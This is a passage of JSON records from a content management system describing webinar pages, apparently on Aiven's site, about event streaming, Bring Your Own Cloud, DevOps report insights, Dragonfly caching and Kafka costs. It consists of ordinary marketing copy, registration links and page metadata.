"},{"_key":"e53348e93c60","_type":"span","marks":["6e2d3f6a3155"],"text":"Bonsai"},{"_key":"fc4d55d70f14","_type":"span","marks":[],"text":", and Alan Scott, Commercial Account Executive at Aiven, as they dive into the realization that manual data entry was no longer sustainable for Bonsai. With their product catalog expanding from a couple of thousand products on small Shopify stores to a couple of million products, receiving constant updates, they turned to Aiven for an automated, event-driven data architecture on Google Cloud using Aiven's managed services."}],"markDefs":[{"_key":"6e2d3f6a3155","_type":"link","href":"https://www.linkedin.com/company/shopbonsai/"}],"style":"normal"},{"_key":"71922ef95750","_type":"block","children":[{"_key":"2be9831d978d","_type":"span","marks":[],"text":"Learn about the key drivers, challenges, and achievements in building data pipelines for Bonsai's "},{"_key":"ca5c041a5957","_type":"span","marks":["strong"],"text":"millions of data points"},{"_key":"2e9364435e83","_type":"span","marks":[],"text":". Watch the full chat to discover how they empowered their teams, seamlessly integrated event streaming, and automated processes for increased efficiency and customer satisfaction. "}],"markDefs":[],"style":"normal"}],"summary":"Join Bonsai and Aiven as they discuss automated event-driven data architecture, as well as key drivers, challenges, and achievements in building data pipelines.","thankyouContent":[{"_key":"5ef60e1edd8c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Thank you for registering ","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Read blog post"},"rounded":false,"text":[{"_key":"7d9cd3b8510d","_type":"block","children":[{"_key":"8307cf7cdc62","_type":"span","marks":[],"text":"You should receive an invitation soon! "}],"markDefs":[],"style":"normal"},{"_key":"5275c87670b4","_type":"block","children":[{"_key":"0af8c48edc10","_type":"span","marks":[],"text":"Meanwhile, learn how to optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","variant":"mediaLeft"}],"title":"Diary of an Engineering Director - Building Real Time Event Streaming Engines","ytId":"CBQVhduwF18"},"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"f0503c73-74fe-41a3-a080-93a4338dcc9f","_type":"reference"},"ctaText":"Watch webinar recording","previewImage":{"_type":"mainImage","alt":"Fireside chat - Aiven + Bonsai","asset":{"_ref":"image-d30e64aba26d633445e75f42cc7cb65e6bfe8c0f-1200x628-png","_type":"reference"}}},"publishedAt":"2023-07-24T11:35:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"03eeda22d632","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"93901d4f92f9","_ref":"d0c7bf3b-528b-4883-ab1c-27409f645959","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Discover key drivers, challenges \u0026 achievements in building data pipelines with Bonsai on Aiven for event-driven architecture.","metaImage":{"_type":"mainImage","alt":"Fireside chat - Aiven + Bonsai","asset":{"_ref":"image-d30e64aba26d633445e75f42cc7cb65e6bfe8c0f-1200x628-png","_type":"reference"}},"metaTitle":"Automated Event-Driven Architecture: Bonsai on Aiven for GCP"},"slug":{"_type":"slug","current":"/webinar/building-real-time-event-streaming-engines"}} {"__i18n_lang":"en","_createdAt":"2023-11-10T20:21:15Z","_id":"736369e7-63c5-49e4-ae7c-0178834cdbf4","_rev":"Arp4NzaYseKQ5hw9dRs3qg","_type":"webinar","_updatedAt":"2023-11-16T23:54:03Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"4d8b133896bd","_ref":"899a955a-c0a0-4346-9586-e392438a6d8f","_type":"reference"},{"_key":"97189f873d75","_ref":"f36a7717-dae6-489a-bfec-0b220b02e70c","_type":"reference"}],"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"showProfilePage":false,"variant":"default"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"f9f8fde8a46f","_ref":"12782707-33fe-4a65-9171-84db5d5c6139","_type":"webinar"},{"_key":"fffb8b3e2957","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Explore Aiven Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"e96d544634db","_type":"block","children":[{"_key":"94d0cfe1b38b0","_type":"span","marks":[],"text":"One platform for streaming, storing and analyzing data on any cloud."}],"markDefs":[],"style":"normal"}],"title":"Aiven Platform","variant":"default"},{"_key":"b2bcb9ba136e","_ref":"cb009e59-7ab2-4357-9574-17e640b69477","_type":"caseStudy"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2023-05-31/sgndj","iframeTitle":"Register Webinar BYOC","title":"Register for June 15th at 9 AM ET | 3 PM CET"},"subtitle":[{"_key":"4b2f0b792916","_type":"block","children":[{"_key":"7c17e8d292110","_type":"span","marks":[],"text":"As the adoption of public cloud services continues to explode, companies are starting to experience the challenges that come with competing in an ever-changing and expanding cloud marketplace."}],"markDefs":[],"style":"normal"},{"_key":"5832406958a0","_type":"block","children":[{"_key":"d6db51ddbda70","_type":"span","marks":[],"text":"In this on-demand webinar, Chris Butler (Senior Solution Architect, Aiven) \u0026 Sayle Matthews (Senior Cloud Architect, DoiT International) will walk you through key considerations for building your cloud data management approach, including the importance of software choices and cloud tenancy. "}],"markDefs":[],"style":"normal"},{"_key":"81019d8d0601","_type":"block","children":[{"_key":"3eb6a15490620","_type":"span","marks":[],"text":"You will also learn:"}],"markDefs":[],"style":"normal"},{"_key":"0280e762e392","_type":"block","children":[{"_key":"ff27adb48a350","_type":"span","marks":[],"text":"How to build a cloud data strategy that contributes to sustainable growth "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"659ac1f43b5f","_type":"block","children":[{"_key":"e8032edfc422","_type":"span","marks":[],"text":"What BYOC is and how you can integrate this strategic imperative into your roadmap"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"838cd53c255b","_type":"block","children":[{"_key":"7111f43fb9ef","_type":"span","marks":[],"text":"How to ensure the long-term viability of your cloud initiatives with a multi-cloud high availability strategy"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"summary":"Learn about Bring Your Own Cloud (BYOC) and other areas of cloud cost optimization. ","thankyouContent":[{"_key":"5ef60e1edd8c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Thank you for registering ","asset":{"_ref":"image-bb5cba3ee0a050264c85fcd7712ab8814e58a1b4-3295x1724-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"},"title":"Read blog post"},"rounded":false,"text":[{"_key":"7d9cd3b8510d","_type":"block","children":[{"_key":"8307cf7cdc62","_type":"span","marks":[],"text":"You should receive an invitation soon! "}],"markDefs":[],"style":"normal"},{"_key":"5275c87670b4","_type":"block","children":[{"_key":"0af8c48edc10","_type":"span","marks":[],"text":"Meanwhile, learn how to optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering! ","variant":"mediaLeft"}],"title":"Optimizing Your Cloud Strategy: Achieving Flexibility, Longevity and ROI","ytId":"PYiljwxUY8Q"},"publishedAt":"2023-11-15T20:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"03eeda22d632","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"63d7f2808d36","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Watch this session to learn about Bring Your Own Cloud (BYOC) and other areas of cloud cost optimization. ","metaImage":{"_type":"mainImage","alt":"Optimizing Your Cloud Strategy: Achieving Flexibility, Longevity and ROI","asset":{"_ref":"image-4713ef230fcde8457d7a0eb08f41a5bb61c825d7-2500x1308-png","_type":"reference"}},"metaTitle":"Optimizing Your Cloud Data Strategy"},"slug":{"_type":"slug","current":"/webinar/optimizing-your-cloud-strategy"}} {"__i18n_lang":"en","_createdAt":"2023-07-26T07:43:19Z","_id":"7bd7f5d8-c7ed-4805-aecc-c43cde0e8091","_rev":"ZNK1gtsEt6IbTqopJicF17","_type":"webinar","_updatedAt":"2023-08-31T09:53:29Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"37f2137218ef","_ref":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_type":"reference"},{"_key":"6ef3b6fe1eca","_ref":"6e89817e-c204-41c6-baf1-47fccad2cdf5","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"variant":"withBio"}],"contentIsGated":false,"hasVideo":true,"registerForm":{"iframeHeight":920,"iframeSource":"https://go.aiven.io/l/890043/2023-07-26/sqlcm","iframeTitle":"Webinar What’s new with Aiven Q2/Q3 2023","title":"Register now"},"subtitle":[{"_key":"e1595b0779ec","_type":"block","children":[{"_key":"f03949ef2143","_type":"span","marks":[],"text":"Join us for an exciting opportunity to discover all the latest product developments in Aiven’s open source data platform! During this webinar, we will be discussing how Aiven democratizes access to popular open source database technologies such as PostgreSQL®, MySQL and Redis®* and we will dive deeper into Aiven's newly introduced Bring-Your-Own-Cloud (BYOC) deployment model. "}],"markDefs":[],"style":"normal"},{"_key":"a921a520ee42","_type":"block","children":[{"_key":"fbfa01c0552c","_type":"span","marks":[],"text":"We will also discuss how Aiven enabled Vector Search with the addition of the pgvector extension to Aiven for PostgreSQL and then go over our re-designed and expanded product offering through the AWS marketplace."}],"markDefs":[],"style":"normal"},{"_key":"695b69deb5ee","_type":"block","children":[{"_key":"dac47752d7560","_type":"span","marks":[],"text":"Finally, we will go over some upcoming product updates scheduled to come up in the next few months that will further enhance our platform capabilities for enterprises across the globe."}],"markDefs":[],"style":"normal"},{"_key":"a065467b943a","_type":"block","children":[{"_key":"47b95d65dc750","_type":"span","marks":[],"text":"Join us for an interactive webinar and ask all your burning questions directly to our product team while we discover together how Aiven can take your open source data infrastructure to the next level!"}],"markDefs":[],"style":"normal"}],"summary":"During this webinar, we will be sharing the latest product announcements from the Aiven platform from Q2 2023 and take a sneak peek of what's coming in Q3 2023.","thankyouContent":[{"_key":"97b2adb1f19d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9c4483be7049","_type":"block","children":[{"_key":"0c8dc81711e0","_type":"span","marks":[],"text":"Thank you for registering for the webinar "},{"_key":"9100550809d3","_type":"span","marks":["strong"],"text":"What’s new with Aiven Q2/Q3 2023: Latest product updates and features in the Aiven Platform"},{"_key":"5ed523aa871f","_type":"span","marks":[],"text":". You will get an email confirmation soon."}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"oneColumn"},{"_key":"d5e36a8703fc","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"text":[{"_key":"4aa53c6f69f9","_type":"block","children":[{"_key":"0363be47db0e","_type":"span","marks":[],"text":"We provide a free 30-day trial, give you $300 credit to play with, and unrestricted access to our complete range of open source services."}],"markDefs":[],"style":"normal"},{"_key":"ecec3338fb05","_type":"block","children":[{"_key":"9b05a1bc685e","_type":"span","marks":[],"text":"When you’ve finished the trial period, you only pay for what you use. There are no hidden charges, and you can shut down and spin up clusters, add services, or change providers at the click of a button."}],"markDefs":[],"style":"normal"}],"title":"Everything you need – for free","variant":"mediaLeft","ytId":"FJxVeA5ORY0"}],"title":"What’s new with Aiven Q2/Q3 2023: Latest product updates and features in the Aiven Platform","ytId":"mPE3jGSSEQQ"},"publishedAt":"2023-07-28T07:46:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"88bb2bd3f98e","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"f1f2e7a55cc4","_ref":"74fb3012-db48-4619-8eae-6655740e61c2","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"During this webinar, we will be sharing the latest product announcements from the Aiven platform from Q2 2023 and take a sneak peek of what's coming in Q3 2023.","metaImage":{"_type":"mainImage","alt":"Aiven Platform, bring your own cloud, BYOC, cloud costs, cloud data residency, Webinar, Aiven platform","asset":{"_ref":"image-455bf0b94ea374644dbc8e09c6a8b9d633b93c3d-1200x628-jpg","_type":"reference"}},"metaTitle":"Webinar: What’s new with Aiven Q2/Q3 2023"},"slug":{"_type":"slug","current":"/webinar/whats-new-with-aiven-q2q3-2023"}} {"__i18n_lang":"en","_createdAt":"2024-03-12T11:11:38Z","_id":"83d63644-241f-495a-8cbd-513cc6c9b522","_rev":"67bMqYmOBHw05z0ZSGfzv9","_type":"webinar","_updatedAt":"2024-04-02T09:47:41Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"7626a823f0a1","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"f815779bfa8e","_ref":"932e45ac-f3b8-465d-b765-97e70e5a21e7","_type":"reference"},{"_key":"5977d5ee747e","_ref":"9b22ef6b-85f7-420c-ae41-d260a6e4aa84","_type":"reference"},{"_key":"3cc5eb883382","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","showProfilePage":false,"variant":"withBio"},{"_key":"b33ba5aad60a","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"2a14ea6f04d4","_ref":"47e2eccc-fc6b-47c2-a0f7-7c266595b7f6","_type":"webinar"},{"_key":"fffb8b3e2957","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Explore Aiven Platform"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c6a141c98d57da2a9c9db28506031a9a6f3f5fd-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"e96d544634db","_type":"block","children":[{"_key":"94d0cfe1b38b0","_type":"span","marks":[],"text":"One platform for streaming, storing and analyzing data on any cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Service","title":"Aiven Platform","variant":"default"},{"_key":"376968946ec5","_type":"cardItem","ctaLink":{"_type":"link","internalLink":{"_ref":"4e339088-4dba-4897-a1ea-06c572b37577","_type":"reference"},"title":"Learn More"},"image":{"_type":"mainImage","asset":{"_ref":"image-a4eac6c62770b888c25d0e518be239eb66e0472b-1200x628-jpg","_type":"reference"}},"subtitle":[{"_key":"3d2a7ea8688f","_type":"block","children":[{"_key":"43d85df38d930","_type":"span","marks":[],"text":"Get the proven open source data services you love on Google Cloud."}],"markDefs":[],"style":"normal"}],"tagline":"Partner","title":"Aiven + Google Cloud Partnership","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Related resources"}],"contentIsGated":true,"hasVideo":false,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-03-12/tppv7","title":"Watch the session recording"},"registrationType":"iframe","subtitle":[{"_key":"e2582400bd29","_type":"block","children":[{"_key":"8a06385cb15d0","_type":"span","marks":[],"text":"Discover how information from the "},{"_key":"8a06385cb15d1","_type":"span","marks":["aff069288e9d"],"text":"State of DevOps Report"},{"_key":"8a06385cb15d2","_type":"span","marks":[],"text":" can reshape the landscape for data professionals and revolutionize the way teams approach software delivery and data management."}],"markDefs":[{"_key":"aff069288e9d","_type":"link","href":"https://dora.dev/report"}],"style":"normal"},{"_key":"a401c6d2d692","_type":"block","children":[{"_key":"b92a30be87280","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0a3262bad60d","_type":"block","children":[{"_key":"4a4d790a82350","_type":"span","marks":[],"text":"Matty Stratton will guide a conversation with Amanda Lewis and Nathen Harvey from Google Cloud on the latest insights from the State of DevOps report!"}],"markDefs":[],"style":"normal"},{"_key":"f23139ac4307","_type":"block","children":[{"_key":"31a43f02a7890","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"787528d0df97","_type":"block","children":[{"_key":"d351ccd51d57","_type":"span","marks":[],"text":"Get ready to optimize your practices with practical recommendations straight from the report. From flexible infrastructure to fostering collaboration, we break down actionable steps for data professionals to elevate their game in software delivery and data management."}],"markDefs":[],"style":"normal"}],"summary":"Explore the latest DevOps insights for data professionals to improve your performance in software delivery and data management.","thankyouContent":[{"_key":"e0f1bb0bed88","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://go.aiven.io/aiven-dora","title":"Get started for free"},"roundedCorners":"rounded-none","text":[{"_key":"e75bc5aa028a","_type":"block","children":[{"_key":"58d708b5df2f","_type":"span","marks":[],"text":"You can watch the webinar "},{"_key":"9f6dd1becce4","_type":"span","marks":["strong"],"text":"Insights for Data Professionals: Lessons from the State of DevOps Report "},{"_key":"44d3dec181da","_type":"span","marks":[],"text":"here. We hope you enjoy the session!"}],"markDefs":[],"style":"normal"},{"_key":"4903da369702","_type":"block","children":[{"_key":"569a0ad1307b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"58bc41b758dc","_type":"block","children":[{"_key":"db0a4f1595e60","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c30adb752297","_type":"block","children":[{"_key":"4f36cf84f6a7","_type":"span","marks":[],"text":"Ready to apply your newfound knowledge? "}],"markDefs":[],"style":"h5"},{"_key":"5a7d13c9c5cc","_type":"block","children":[{"_key":"1eb08ef0c7ef","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"f402315565cb","_type":"block","children":[{"_key":"51c69f69ab35","_type":"span","marks":[],"text":"Start your journey with Aiven's "},{"_key":"9abc36c12cce","_type":"span","marks":["strong"],"text":"free trial today"},{"_key":"e2836ee7263e","_type":"span","marks":[],"text":" and receive an additional "},{"_key":"e64089f93d8d","_type":"span","marks":["strong"],"text":"$100.00 credits"},{"_key":"a5e72e6e0521","_type":"span","marks":[],"text":" for your first service setup!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for your interest!","variant":"mediaRight","ytId":"GSVEvvqjdvQ","ytImg":{"_type":"mainImage","alt":"State of DevOps Report webinar recording with DORA","asset":{"_ref":"image-1541086f4a9c070ef8a0ed136784221b114c1e44-1920x1080-png","_type":"reference"}}}],"title":"Insights for Data Professionals: Lessons from the State of DevOps Report","ytId":"5A-xFMKlnL8"},"publishedAt":"2024-02-21T11:14:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"bb7df91f08a8","_ref":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_type":"tag"},{"_key":"8a0676378e92","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Explore the latest DevOps insights for data professionals to improve your performance in software delivery and data management.","metaImage":{"_type":"mainImage","alt":"State of DevOps Webinar with Matty Stratton","asset":{"_ref":"image-1541086f4a9c070ef8a0ed136784221b114c1e44-1920x1080-png","_type":"reference"}},"metaTitle":"State of DevOps Report: For Data Professionals"},"slug":{"_type":"slug","current":"/webinar/state-of-devops-report-for-data-professionals"}} {"__i18n_lang":"en","_createdAt":"2024-04-11T09:24:16Z","_id":"c940dfb7-c917-432b-8362-ee3ed7a34f72","_rev":"nlOpuD0QdnipgQaM1hu3bJ","_type":"webinar","_updatedAt":"2024-06-06T09:27:24Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"86192c050dfa","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"e145bd6f34c9","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"5981394ac10d","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"About the speakers","variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioEventId":"9JnheTq7x1M8Egde","demioSubmitText":"Register","title":"Secure Your Spot"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":500,"iframeSource":"https://go.aiven.io/l/890043/2024-05-22/ty8kl","title":"Watch the recording"},"registrationType":"iframe","subtitle":[{"_key":"45de21ae81c3","_type":"block","children":[{"_key":"403ed72573a60","_type":"span","marks":[],"text":"In this session we will show how to leverage Aiven for Dragonfly and Aiven for AI."}],"markDefs":[],"style":"normal"},{"_key":"f1ba7299b278","_type":"block","children":[{"_key":"20cb7e37e12a0","_type":"span","marks":[],"text":"First, we’ll discuss how to increase your throughput and reduce memory usage by "},{"_key":"37bf9b5e5abf","_type":"span","marks":["strong"],"text":"25%"},{"_key":"0eec78a59bdf","_type":"span","marks":[],"text":" compared to open-source Redis®️. Then explore scalability, efficiency, and advanced capabilities ideal for caching, gaming leaderboards, messaging, AI applications, and more."}],"markDefs":[],"style":"normal"},{"_key":"9644e7ef4636","_type":"block","children":[{"_key":"005158ea92aa0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"553ff1a306b5","_type":"block","children":[{"_key":"b0962c52c8cf","_type":"span","marks":[],"text":"After that, we’ll jump into "},{"_key":"bb3c54176ef4","_type":"span","marks":["strong"],"text":"Aiven’s latest AI use cases"},{"_key":"290770705bf4","_type":"span","marks":[],"text":" and cover:"}],"markDefs":[],"style":"normal"},{"_key":"da27274f2fc8","_type":"block","children":[{"_key":"3801e23c676b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bf74b841c130","_type":"block","children":[{"_key":"7f06cb1ca705","_type":"span","marks":[],"text":"Perform Retrieval Augmented Generation (RAG) directly from your operational data layer"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"73da7b4f8424","_type":"block","children":[{"_key":"4dafb0edf42b","_type":"span","marks":[],"text":"Provide real-time and governed data to your AI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"17907ae98285","_type":"block","children":[{"_key":"a87f52ce8a8e","_type":"span","marks":[],"text":"Accelerate writing performant code by providing developers with index and SQL rewrite suggestions."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6bf7907b53e4","_type":"block","children":[{"_key":"1ae2e34234a60","_type":"span","marks":[],"text":"Join to learn how to evolve your applications to scale with robust caching and AI methods while optimizing costs. Watch now and begin your journey towards increased performance, scalability, and innovation!"}],"markDefs":[],"style":"normal"}],"summary":"On-Demand Webinar: Aiven for Dragonfly \u0026 Scalability Insights","thankyouContent":[{"_key":"ac6f4838d208","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"mediaWidth":"w-full","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"c683ab2ded48","_type":"block","children":[{"_key":"65b90d82776d0","_type":"span","marks":[],"text":"Thank you for your interest! Watch the \"Build to scale with Aiven!\" webinar here. Learn how to scale apps quickly and discover strategies to leverage flexibility and cost advantages across the clouds."}],"markDefs":[],"style":"normal"}],"title":"Watch now: Evolve and scale your apps with AI and caching strategies","topOverlap":false,"variant":"mediaRight","ytId":"QHot2NzH_wg"}],"title":"Build to scale with Aiven!","ytId":"QHot2NzH_wg"},"publishedAt":"2024-05-21T15:00:00.000Z","resourceTag":{"contentType":{"_ref":"61a4ebcb-6dc1-48d3-95cf-1c9e0239c771","_type":"reference"},"tags":[{"_key":"64b5e8250b36","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"25e279cff196","_ref":"8d0581a1-a107-42b7-8ce8-913c5d1c57dd","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"On-Demand Webinar: Aiven for Dragonfly \u0026 Scalability Insights","metaImage":{"_type":"mainImage","alt":"\"Build to scale with Aiven!\" webinar","asset":{"_ref":"image-0d55436cd5e5f12752902e425699e60baeb76b9a-1920x1080-png","_type":"reference"}},"metaTitle":"Webinar | Build to scale with Aiven!"},"slug":{"_type":"slug","current":"/webinar/whats-new-with-aiven-may-2024"}} {"__i18n_lang":"en","_createdAt":"2024-03-22T15:53:00Z","_id":"785288e2-f556-4b69-a90d-dbb2c51348a2","_rev":"4CkiyUyzrvTW3s6mClX332","_type":"webinar","_updatedAt":"2024-04-29T13:39:30Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"86192c050dfa","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"a544af1ccb5d","_ref":"24ded3b2-2265-41c8-aedb-b7e72c31fd52","_type":"reference"},{"_key":"b44c8d9491cd","_ref":"1eaa40ea-2f7c-4a09-8cf7-eb8bdc7064c9","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"About the speakers","variant":"withBio"}],"contentIsGated":true,"demioEvent":{"demioEventId":"4fAL9NjaJwYOOWip","demioSubmitText":"Register","title":"Secure Your Spot"},"downloadText":"Download","registerForm":{"iframeHeight":800,"iframeSource":"https://go.aiven.io/l/890043/2024-04-29/tvz7f","title":"Watch the Webinar"},"registrationType":"iframe","subtitle":[{"_key":"8baef03b1c09","_type":"block","children":[{"_key":"b1bd45d94ce4","_type":"span","marks":[],"text":"Struggling with complex data pipelines and opaque pricing structures? "}],"markDefs":[],"style":"normal"},{"_key":"fc7bf2ecb1f3","_type":"block","children":[{"_key":"d4ecd1f31be60","_type":"span","marks":[],"text":"Join us to gain insights on building the next generation of data-streaming platforms and how by reframing your current approach you can:"}],"markDefs":[],"style":"normal"},{"_key":"d5150dc7a8df","_type":"block","children":[{"_key":"b18f2133e0560","_type":"span","marks":[],"text":"Reduce operational complexity and overall Kafka costs"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"144d558c6f2d","_type":"block","children":[{"_key":"a9b4de04be8f0","_type":"span","marks":[],"text":"Tailor your data-streaming platform to manage growing capacity demands efficiently"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"19d8e794ee53","_type":"block","children":[{"_key":"dfca687b9da70","_type":"span","marks":[],"text":"More optimally take advantage of hyperscaler discounts through a BYOC deployment 